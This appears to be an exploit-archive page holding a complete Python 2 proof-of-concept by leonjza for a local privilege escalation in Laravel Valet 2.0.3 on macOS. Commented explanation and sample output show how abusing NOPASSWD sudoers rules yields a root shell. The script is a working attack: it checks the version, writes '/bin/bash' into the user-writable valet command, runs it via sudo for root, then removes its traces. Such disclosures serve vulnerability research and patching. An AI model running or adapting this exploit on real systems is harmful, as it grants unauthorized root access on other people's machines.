
9 changes to exploits/shellcodes Laravel Valet 2.0.3 - Local Privilege Escalation (macOS) Microsoft Internet Explorer / ActiveX Control - Security Bypass Apache Log4j2 2.14.1 - Information Disclosure Apache Log4j 2 - Remote Code Execution (RCE) WordPress Plugin Typebot 1.4.3 - Stored Cross Site Scripting (XSS) (Authenticated) Booked Scheduler 2.7.5 - Remote Command Execution (RCE) (Authenticated) Zucchetti Axess CLOKI Access Control 1.64 - Cross Site Request Forgery (CSRF) meterN v1.2.3 - Remote Code Execution (RCE) (Authenticated) Online Thesis Archiving System 1.0 - SQLi Authentication Bypass
159 lines
No EOL
5.2 KiB
Python
Executable file
159 lines
No EOL
5.2 KiB
Python
Executable file
# Exploit Title: Laravel Valet 2.0.3 - Local Privilege Escalation (macOS)
|
|
# Exploit Author: leonjza
|
|
# Vendor Homepage: https://laravel.com/docs/8.x/valet
|
|
# Version: v1.1.4 to v2.0.3
|
|
|
|
#!/usr/bin/env python2
|
|
|
|
# Laravel Valet v1.1.4 - 2.0.3 Local Privilege Escalation (macOS)
|
|
# February 2017 - @leonjza
|
|
|
|
# Affected versions: At least since ~v1.1.4 to v2.0.3. Yikes.
|
|
# Reintroduced in v2.0.7 via the 'trust' command again.
|
|
|
|
# This bug got introduced when the sudoers files got added around
|
|
# commit b22c60dacab55ffe2dc4585bc88cd58623ec1f40 [1].
|
|
|
|
# Effectively, when the valet command is installed, composer will symlink [2]
|
|
# the `valet` command to /usr/local/bin. This 'command' is writable by the user
|
|
# that installed it.
|
|
#
|
|
# ~ $ ls -lah $(which valet)
|
|
# lrwxr-xr-x 1 leonjza admin 51B Feb 25 00:09 /usr/local/bin/valet -> /Users/leonjza/.composer/vendor/laravel/valet/valet
|
|
|
|
# Running `valet install`, will start the install [3] routine. The very first action
|
|
# taken is to stop nginx (quietly?) [4], but runs the command with `sudo` which
|
|
# will prompt the user for the sudo password in the command line. From here (and in fact
|
|
# from any point where the valet tool uses sudo) the command can execute further commands
|
|
# as root without any further interaction needed by the user.
|
|
# With this 'sudo' access, the installer does it thing, and eventually installs two new
|
|
# sudoers rules for homebrew[5] and valet[6].
|
|
|
|
# ~ $ cat /etc/sudoers.d/*
|
|
# Cmnd_Alias BREW = /usr/local/bin/brew *
|
|
# %admin ALL=(root) NOPASSWD: BREW
|
|
# Cmnd_Alias VALET = /usr/local/bin/valet *
|
|
# %admin ALL=(root) NOPASSWD: VALET
|
|
|
|
# The problem with the sudoers rules now is the fact that a user controlled script
|
|
# (rememeber the valet command is writable to my user?) is allowed to be run with
|
|
# root privileges. More conveniently, without a password. So, to trivially privesc
|
|
# using this flaw, simply edit the `valet` command and drop `/bin/bash` in there. :D
|
|
|
|
# Or, use this lame script you lazy sod.
|
|
#
|
|
# ~ $ sudo -k
|
|
# ~ $ python escalate.py
|
|
# * Shell written. Dropping into root shell
|
|
# bash-3.2# whoami
|
|
# root
|
|
# bash-3.2# exit
|
|
# exit
|
|
# * Cleaning up POC from valet command
|
|
|
|
# [1] https://github.com/laravel/valet/commit/b22c60dacab55ffe2dc4585bc88cd58623ec1f40
|
|
# [2] https://github.com/laravel/valet/blob/v2.0.3/composer.json#L39
|
|
# [3] https://github.com/laravel/valet/blob/v2.0.3/cli/valet.php#L37-L50
|
|
# [4] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Nginx.php#L133
|
|
# [5] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Brew.php#L171-L177
|
|
# [6] https://github.com/laravel/valet/blob/v2.0.3/cli/Valet/Valet.php#L40-L46
|
|
|
|
import os
|
|
import subprocess
|
|
|
|
MIN_VERSION = "1.1.4"
|
|
MAX_VERSION = "2.0.3"
|
|
POC = "/bin/bash; exit;\n"
|
|
|
|
|
|
def run_shit_get_output(shit_to_run):
|
|
return subprocess.Popen(shit_to_run, shell=True,
|
|
stderr=subprocess.PIPE, stdout=subprocess.PIPE)
|
|
|
|
|
|
def version_tuple(v):
|
|
return tuple(map(int, (v.split("."))))
|
|
|
|
|
|
def get_valet():
|
|
p = run_shit_get_output('which valet')
|
|
lines = ''.join(p.stdout.readlines())
|
|
|
|
if 'bin/valet' in lines:
|
|
return lines.strip()
|
|
|
|
return None
|
|
|
|
|
|
def get_valet_version(valet_location):
|
|
p = run_shit_get_output(valet_location)
|
|
v = p.stdout.read(25)
|
|
|
|
return v.split("\n")[0].split(" ")[2]
|
|
|
|
|
|
def can_write_to_valet(valet_location):
|
|
return os.access(valet_location, os.W_OK)
|
|
|
|
|
|
def cleanup_poc_from_command(command_location):
|
|
with open(command_location, 'r') as vc:
|
|
command_contents = vc.readlines()
|
|
|
|
if command_contents[1] == POC:
|
|
print('* Cleaning up POC from valet command')
|
|
command_contents.pop(1)
|
|
with open(command_location, 'w') as vc:
|
|
vc.write(''.join(command_contents))
|
|
|
|
return
|
|
|
|
print('* Could not cleanup the valet command. Check it out manually!')
|
|
return
|
|
|
|
|
|
def main():
|
|
valet_command = get_valet()
|
|
|
|
if not valet_command:
|
|
print(' * The valet command could not be found. Bailing!')
|
|
return
|
|
|
|
# get the content so we can check if we already pwnd it
|
|
with open(valet_command, 'r') as vc:
|
|
command_contents = vc.readlines()
|
|
|
|
# check that we havent already popped this thing
|
|
if command_contents[1] == POC:
|
|
print('* Looks like you already pwnd this. Dropping into shell anyways.')
|
|
os.system('sudo ' + valet_command)
|
|
cleanup_poc_from_command(valet_command)
|
|
return
|
|
|
|
current_version = get_valet_version(valet_command)
|
|
|
|
# ensure we have a valid, exploitable version
|
|
if not (version_tuple(current_version) >= version_tuple(MIN_VERSION)) \
|
|
or not (version_tuple(current_version) <= version_tuple(MAX_VERSION)):
|
|
print(' * Valet version {0} does not have this bug!'.format(current_version))
|
|
return
|
|
|
|
# check that we can write
|
|
if not can_write_to_valet(valet_command):
|
|
print('* Cant write to valet command at {0}. Bailing!'.format(valet_command))
|
|
return
|
|
|
|
# drop the poc line and write the new one
|
|
command_contents.insert(1, POC)
|
|
with open(valet_command, 'w') as vc:
|
|
vc.write(''.join(command_contents))
|
|
|
|
print('* Shell written. Dropping into root shell')
|
|
|
|
# drop in the root shell :D
|
|
os.system('sudo ' + valet_command)
|
|
cleanup_poc_from_command(valet_command)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
main() |